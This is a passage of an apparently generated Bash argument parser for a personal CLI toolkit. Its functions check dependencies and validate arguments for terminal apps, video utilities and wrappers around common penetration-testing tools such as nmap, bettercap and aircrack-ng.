dtools_tui_misc_weather_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_misc_weather_usage exit ;; *) break ;; esac done missing_deps= if ! command -v wego >/dev/null 2>&1; then printf "missing dependency: wego\n" >&2 printf "%s\n\n" "See 'https://github.com/schachmat/wego'" >&2 missing_deps=1 else deps['wego']="$(command -v wego | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui misc weather" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_misc_linutil_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_misc_linutil_usage exit ;; *) break ;; esac done missing_deps= if ! command -v linutil >/dev/null 2>&1; then printf "missing dependency: linutil\n" >&2 printf "%s\n\n" "See 'https://github.com/ChrisTitusTech/linutil'" >&2 missing_deps=1 else deps['linutil']="$(command -v linutil | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui misc linutil" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_misc_slack_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_misc_slack_usage exit ;; *) break ;; esac done missing_deps= if ! command -v slack-term >/dev/null 2>&1; then printf "missing dependency: slack-term\n" >&2 printf "%s\n\n" "See 'https://github.com/jpbruinsslot/slack-term'" >&2 missing_deps=1 else deps['slack-term']="$(command -v slack-term | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui misc slack" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_misc_youtube_music_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_misc_youtube_music_usage exit ;; *) break ;; esac done missing_deps= if ! command -v ytermusic >/dev/null 2>&1; then printf "missing dependency: ytermusic\n" >&2 printf "%s\n\n" "See 'https://github.com/ccgauche/ytermusic'" >&2 missing_deps=1 else deps['ytermusic']="$(command -v ytermusic | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui misc youtube-music" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_misc_youtube_music_2_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_misc_youtube_music_2_usage exit ;; *) break ;; esac done missing_deps= if ! command -v ytui_music >/dev/null 2>&1; then printf "missing dependency: ytui_music\n" >&2 printf "%s\n\n" "See 'https://github.com/sudipghimire533/ytui-music'" >&2 missing_deps=1 else deps['ytui_music']="$(command -v ytui_music | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui misc youtube-music-2" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_misc_jellyfin_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_misc_jellyfin_usage exit ;; *) break ;; esac done missing_deps= if ! command -v jellyfin-tui >/dev/null 2>&1; then printf "missing dependency: jellyfin-tui\n" >&2 printf "%s\n\n" "See 'https://github.com/dhonus/jellyfin-tui'" >&2 missing_deps=1 else deps['jellyfin-tui']="$(command -v jellyfin-tui | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui misc jellyfin" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_misc_visualizations_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_misc_visualizations_usage exit ;; *) break ;; esac done missing_deps= if ! command -v vis >/dev/null 2>&1; then printf "missing dependency: vis\n" >&2 printf "%s\n\n" "See 'https://github.com/PosixAlchemist/cli-visualizer#'" >&2 missing_deps=1 else deps['vis']="$(command -v vis | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui misc visualizations" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_misc_visualizations_2_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_misc_visualizations_2_usage exit ;; *) break ;; esac done missing_deps= if ! command -v cava >/dev/null 2>&1; then printf "missing dependency: cava\n" >&2 printf "%s\n\n" "See 'https://github.com/karlstav/cava'" >&2 missing_deps=1 else deps['cava']="$(command -v cava | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui misc visualizations-2" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_misc_find_and_replace_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_misc_find_and_replace_usage exit ;; *) break ;; esac done missing_deps= if ! command -v scooter >/dev/null 2>&1; then printf "missing dependency: scooter\n" >&2 printf "%s\n\n" "See 'https://github.com/thomasschafer/scooter'" >&2 missing_deps=1 else deps['scooter']="$(command -v scooter | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui misc find-and-replace" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_misc_ascii_theater_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_misc_ascii_theater_usage exit ;; *) break ;; esac done action="tui misc ascii-theater" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_misc_calendar_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_misc_calendar_usage exit ;; *) break ;; esac done missing_deps= if ! command -v calcure >/dev/null 2>&1; then printf "missing dependency: calcure\n" >&2 printf "%s\n\n" "See 'https://anufrievroman.gitbook.io/calcure'" >&2 missing_deps=1 else deps['calcure']="$(command -v calcure | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui misc calendar" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_misc_piano_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_misc_piano_usage exit ;; *) break ;; esac done missing_deps= if ! command -v upiano >/dev/null 2>&1; then printf "missing dependency: upiano\n" >&2 printf "%s\n\n" "See 'https://github.com/eliasdorneles/upiano'" >&2 missing_deps=1 else deps['upiano']="$(command -v upiano | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui misc piano" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_misc_servarr_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_misc_servarr_usage exit ;; *) break ;; esac done missing_deps= if ! command -v managarr >/dev/null 2>&1; then printf "missing dependency: managarr\n" >&2 printf "%s\n\n" "See 'https://github.com/Dark-Alex-17/managarr'" >&2 missing_deps=1 else deps['managarr']="$(command -v managarr | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui misc servarr" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_sandbox_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_sandbox_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; jqp) action="jqp" shift dtools_tui_sandbox_jqp_parse_requirements "$@" shift $# ;; desed) action="desed" shift dtools_tui_sandbox_desed_parse_requirements "$@" shift $# ;; play) action="play" shift dtools_tui_sandbox_play_parse_requirements "$@" shift $# ;; regect) action="regect" shift dtools_tui_sandbox_regect_parse_requirements "$@" shift $# ;; "") dtools_tui_sandbox_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_sandbox_jqp_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_sandbox_jqp_usage exit ;; *) break ;; esac done missing_deps= if ! command -v jqp >/dev/null 2>&1; then printf "missing dependency: jqp\n" >&2 printf "%s\n\n" "See 'https://github.com/noahgorstein/jqp'" >&2 missing_deps=1 else deps['jqp']="$(command -v jqp | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui sandbox jqp" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['json_file']+x} ]]; then args['json_file']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['json_file']+x} ]]; then printf "missing required argument: JSON_FILE\nusage: dtools tui sandbox jqp JSON_FILE\n" >&2 exit 1 fi } dtools_tui_sandbox_desed_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_sandbox_desed_usage exit ;; *) break ;; esac done missing_deps= if ! command -v desed >/dev/null 2>&1; then printf "missing dependency: desed\n" >&2 printf "%s\n\n" "See 'https://github.com/SoptikHa2/desed'" >&2 missing_deps=1 else deps['desed']="$(command -v desed | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui sandbox desed" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_sandbox_play_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_sandbox_play_usage exit ;; *) break ;; esac done missing_deps= if ! command -v play >/dev/null 2>&1; then printf "missing dependency: play\n" >&2 printf "%s\n\n" "See 'https://github.com/paololazzari/play'" >&2 missing_deps=1 else deps['play']="$(command -v play | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui sandbox play" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['program']+x} ]]; then args['program']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['program']+x} ]]; then printf "missing required argument: PROGRAM\nusage: dtools tui sandbox play PROGRAM\n" >&2 exit 1 fi if [[ -n ${args['program']:-} ]] && [[ ! ${args['program']:-} =~ ^(sed|awk|grep)$ ]]; then printf "%s\n" "program must be one of: sed, awk, grep" >&2 exit 1 fi } dtools_tui_sandbox_regect_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_sandbox_regect_usage exit ;; *) break ;; esac done missing_deps= if ! command -v regect >/dev/null 2>&1; then printf "missing dependency: regect\n" >&2 printf "%s\n\n" "See 'https://github.com/kloki/regect'" >&2 missing_deps=1 else deps['regect']="$(command -v regect | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui sandbox regect" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_ai_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_ai_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; elia) action="elia" shift dtools_tui_ai_elia_parse_requirements "$@" shift $# ;; "") dtools_tui_ai_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_tui_ai_elia_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_tui_ai_elia_usage exit ;; *) break ;; esac done missing_deps= if ! command -v elia >/dev/null 2>&1; then printf "missing dependency: elia\n" >&2 printf "%s\n\n" "See 'https://github.com/darrenburns/elia'" >&2 missing_deps=1 else deps['elia']="$(command -v elia | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="tui ai elia" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_pentest_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_pentest_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; maltego) action="maltego" shift dtools_pentest_maltego_parse_requirements "$@" shift $# ;; ifconfig) action="ifconfig" shift dtools_pentest_ifconfig_parse_requirements "$@" shift $# ;; netdiscover) action="netdiscover" shift dtools_pentest_netdiscover_parse_requirements "$@" shift $# ;; nmap) action="nmap" shift dtools_pentest_nmap_parse_requirements "$@" shift $# ;; arpspoof) action="arpspoof" shift dtools_pentest_arpspoof_parse_requirements "$@" shift $# ;; bettercap) action="bettercap" shift dtools_pentest_bettercap_parse_requirements "$@" shift $# ;; msfconsole) action="msfconsole" shift dtools_pentest_msfconsole_parse_requirements "$@" shift $# ;; aircrack-ng) action="aircrack-ng" shift dtools_pentest_aircrack_ng_parse_requirements "$@" shift $# ;; crunch) action="crunch" shift dtools_pentest_crunch_parse_requirements "$@" shift $# ;; veil) action="veil" shift dtools_pentest_veil_parse_requirements "$@" shift $# ;; ngrok) action="ngrok" shift dtools_pentest_ngrok_parse_requirements "$@" shift $# ;; storm-breaker) action="storm-breaker" shift dtools_pentest_storm_breaker_parse_requirements "$@" shift $# ;; "") dtools_pentest_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_pentest_maltego_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_pentest_maltego_usage exit ;; *) break ;; esac done missing_deps= if ! command -v maltego >/dev/null 2>&1; then printf "missing dependency: maltego\n" >&2 printf "%s\n\n" "See 'https://www.maltego.com/downloads/'" >&2 missing_deps=1 else deps['maltego']="$(command -v maltego | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="pentest maltego" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_pentest_ifconfig_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_pentest_ifconfig_usage exit ;; *) break ;; esac done action="pentest ifconfig" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done filter_error=$(filter_debian_based_os) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_pentest_netdiscover_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_pentest_netdiscover_usage exit ;; *) break ;; esac done missing_deps= if ! command -v netdiscover >/dev/null 2>&1; then printf "missing dependency: netdiscover\n" >&2 printf "%s\n\n" "Install with 'sudo apt install netdiscover'" >&2 missing_deps=1 else deps['netdiscover']="$(command -v netdiscover | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="pentest netdiscover" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done filter_error=$(filter_debian_based_os) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_pentest_nmap_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_pentest_nmap_usage exit ;; *) break ;; esac done missing_deps= if ! command -v nmap >/dev/null 2>&1; then printf "missing dependency: nmap\n" >&2 printf "%s\n\n" "See 'https://nmap.org/download'" >&2 missing_deps=1 else deps['nmap']="$(command -v nmap | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="pentest nmap" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_pentest_arpspoof_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_pentest_arpspoof_usage exit ;; *) break ;; esac done missing_deps= if ! command -v arpspoof >/dev/null 2>&1; then printf "missing dependency: arpspoof\n" >&2 printf "%s\n\n" "Install with 'sudo apt install dsniff'" >&2 missing_deps=1 else deps['arpspoof']="$(command -v arpspoof | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="pentest arpspoof" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done filter_error=$(filter_debian_based_os) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_pentest_bettercap_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_pentest_bettercap_usage exit ;; *) break ;; esac done missing_deps= if ! command -v bettercap >/dev/null 2>&1; then printf "missing dependency: bettercap\n" >&2 printf "%s\n\n" "See 'https://www.bettercap.org/project/installation/'" >&2 missing_deps=1 else deps['bettercap']="$(command -v bettercap | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="pentest bettercap" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_pentest_msfconsole_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_pentest_msfconsole_usage exit ;; *) break ;; esac done missing_deps= if ! command -v msfconsole >/dev/null 2>&1; then printf "missing dependency: msfconsole\n" >&2 printf "%s\n\n" "See 'https://www.metasploit.com/download'" >&2 missing_deps=1 else deps['msfconsole']="$(command -v msfconsole | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="pentest msfconsole" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_pentest_aircrack_ng_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_pentest_aircrack_ng_usage exit ;; *) break ;; esac done missing_deps= if ! command -v aircrack-ng >/dev/null 2>&1; then printf "missing dependency: aircrack-ng\n" >&2 printf "%s\n\n" "See 'https://www.aircrack-ng.org/doku.php?id=install_aircrack'" >&2 missing_deps=1 else deps['aircrack-ng']="$(command -v aircrack-ng | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="pentest aircrack-ng" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_pentest_crunch_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_pentest_crunch_usage exit ;; *) break ;; esac done missing_deps= if ! command -v crunch >/dev/null 2>&1; then printf "missing dependency: crunch\n" >&2 printf "%s\n\n" "See 'https://ciphrexlabs.com/tcontent/crunch-the-all-in-one-wordlist-generator'" >&2 missing_deps=1 else deps['crunch']="$(command -v crunch | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="pentest crunch" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_pentest_veil_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_pentest_veil_usage exit ;; *) break ;; esac done action="pentest veil" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_pentest_ngrok_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_pentest_ngrok_usage exit ;; *) break ;; esac done missing_deps= if ! command -v ngrok >/dev/null 2>&1; then printf "missing dependency: ngrok\n" >&2 printf "%s\n\n" "See 'https://ngrok.com/download'" >&2 missing_deps=1 else deps['ngrok']="$(command -v ngrok | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="pentest ngrok" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_pentest_storm_breaker_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_pentest_storm_breaker_usage exit ;; *) break ;; esac done missing_deps= if ! command -v stormbreaker >/dev/null 2>&1; then printf "missing dependency: stormbreaker\n" >&2 printf "%s\n\n" "See 'https://github.com/ultrasecurity/Storm-Breaker'" >&2 missing_deps=1 else deps['stormbreaker']="$(command -v stormbreaker | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="pentest storm-breaker" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_video_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_video_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; rip-audio) action="rip-audio" shift dtools_video_rip_audio_parse_requirements "$@" shift $# ;; youtube) action="youtube" shift dtools_video_youtube_parse_requirements "$@" shift $# ;; split-scenes) action="split-scenes" shift dtools_video_split_scenes_parse_requirements "$@" shift $# ;; duration) action="duration" shift dtools_video_duration_parse_requirements "$@" shift $# ;; boost-audio) action="boost-audio" shift dtools_video_boost_audio_parse_requirements "$@" shift $# ;; "") dtools_video_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_video_rip_audio_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_video_rip_audio_usage exit ;; *) break ;; esac done missing_deps= if ! command -v ffmpeg >/dev/null 2>&1; then printf "missing dependency: ffmpeg\n" >&2 printf "%s\n\n" "Install with 'brew install ffmpeg'" >&2 missing_deps=1 else deps['ffmpeg']="$(command -v ffmpeg | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="video rip-audio" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --title) if [[ -n ${2+x} ]]; then args['--title']="$2" shift shift else printf "%s\n" "--title requires an argument: --title TITLE" >&2 exit 1 fi ;; --output-file) if [[ -n ${2+x} ]]; then args['--output-file']="$2" shift shift else printf "%s\n" "--output-file requires an argument: --output-file OUTPUT_FILE" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['video_file']+x} ]]; then args['video_file']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['video_file']+x} ]]; then printf "missing required argument: VIDEO_FILE\nusage: dtools video rip-audio VIDEO_FILE [OPTIONS]\n" >&2 exit 1 fi if [[ -z ${args['--output-file']+x} ]]; then printf "missing required flag: --output-file OUTPUT_FILE\n" >&2 exit 1 fi } dtools_video_youtube_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_video_youtube_usage exit ;; *) break ;; esac done missing_deps= if ! command -v youtube_dl >/dev/null 2>&1; then printf "missing dependency: youtube_dl\n" >&2 printf "%s\n\n" "See 'https://github.com/ytdl-org/youtube-dl'" >&2 missing_deps=1 else deps['youtube_dl']="$(command -v youtube_dl | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="video youtube" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --audio-only) args['--audio-only']=1 shift ;; --playlist) args['--playlist']=1 shift ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['url']+x} ]]; then args['url']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['url']+x} ]]; then printf "missing required argument: URL\nusage: dtools video youtube URL [OPTIONS]\n" >&2 exit 1 fi } dtools_video_split_scenes_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_video_split_scenes_usage exit ;; *) break ;; esac done missing_deps= if ! command -v scenedetect >/dev/null 2>&1; then printf "missing dependency: scenedetect\n" >&2 printf "%s\n\n" "See 'https://www.scenedetect.com/'" >&2 missing_deps=1 else deps['scenedetect']="$(command -v scenedetect | head -n1)" fi if ! command -v ffmpeg >/dev/null 2>&1; then printf "missing dependency: ffmpeg\n" >&2 printf "%s\n\n" "Install with 'brew install ffmpeg'" >&2 missing_deps=1 else deps['ffmpeg']="$(command -v ffmpeg | head -n1)" fi if ! command -v ffprobe >/dev/null 2>&1; then printf "missing dependency: ffprobe\n" >&2 printf "%s\n\n" "See 'https://ffmpeg.org/ffprobe.html'" >&2 missing_deps=1 else deps['ffprobe']="$(command -v ffprobe | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="video split-scenes" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --content-threshold) if [[ -n ${2+x} ]]; then args['--content-threshold']="$2" shift shift else printf "%s\n" "--content-threshold requires an argument: --content-threshold CONTENT_THRESHOLD" >&2 exit 1 fi ;; --fade-threshold) if [[ -n ${2+x} ]]; then args['--fade-threshold']="$2" shift shift else printf "%s\n" "--fade-threshold requires an argument: --fade-threshold FADE_THRESHOLD" >&2 exit 1 fi ;; --keep-duration) if [[ -n ${2+x} ]]; then args['--keep-duration']="$2" shift shift else printf "%s\n" "--keep-duration requires an argument: --keep-duration KEEP_DURATION" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['video_file']+x} ]]; then args['video_file']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['video_file']+x} ]]; then printf "missing required argument: VIDEO_FILE\nusage: dtools video split-scenes VIDEO_FILE [OPTIONS]\n" >&2 exit 1 fi [[ -n ${args['--content-threshold']:-} ]] || args['--content-threshold']="130" [[ -n ${args['--fade-threshold']:-} ]] || args['--fade-threshold']="5" [[ -n ${args['--keep-duration']:-} ]] || args['--keep-duration']="8" } dtools_video_duration_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_video_duration_usage exit ;; *) break ;; esac done missing_deps= if ! command -v ffprobe >/dev/null 2>&1; then printf "missing dependency: ffprobe\n" >&2 printf "%s\n\n" "See 'https://ffmpeg.org/ffprobe.html'" >&2 missing_deps=1 else deps['ffprobe']="$(command -v ffprobe | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="video duration" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) 